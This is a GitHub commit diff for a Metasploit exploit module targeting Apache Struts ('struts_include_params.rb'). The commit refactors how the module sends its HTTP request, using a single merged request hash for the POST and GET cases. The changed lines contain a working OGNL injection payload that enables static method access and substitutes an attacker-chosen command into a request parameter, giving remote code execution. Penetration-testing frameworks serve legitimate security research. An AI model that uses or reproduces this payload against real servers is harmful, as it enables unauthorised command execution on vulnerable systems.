Skip to content

Commit 47524a0

Browse files
committed
converted request params to hash merge operation
1 parent 51879ab commit 47524a0

File tree

1 file changed

+7
-14
lines changed

1 file changed

+7
-14
lines changed

modules/exploits/multi/http/struts_include_params.rb

Lines changed: 7 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -79,23 +79,15 @@ def execute_command(cmd, opts = {})
7979
inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
8080
inject.gsub!(/CMD/,cmd)
8181
uri = normalize_uri(target_uri.path)
82-
82+
req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
83+
8384
case datastore['HTTPMETHOD']
8485
when 'POST'
85-
resp = send_request_cgi({
86-
'uri' => uri,
87-
'vars_post' => { datastore['PARAMETER'] => inject },
88-
'version' => '1.1',
89-
'method' => 'POST'
90-
})
86+
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject }})
9187
when 'GET'
92-
resp = send_request_cgi({
93-
'uri' => uri,
94-
'vars_get' => { datastore['PARAMETER'] => inject },
95-
'version' => '1.1',
96-
'method' => 'GET'
97-
})
88+
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject }})
9889
end
90+
9991
# Display a nice "progress bar" instead of message spam
10092
case @notify_flag
10193
when 0
@@ -106,7 +98,8 @@ def execute_command(cmd, opts = {})
10698
when 2
10799
print_status("Payload upload complete")
108100
end
109-
return resp #Used for check function.
101+
102+
return send_request_cgi(req_hash) #Used for check function.
110103
end
111104

112105
def exploit

0 commit comments

Comments
 (0)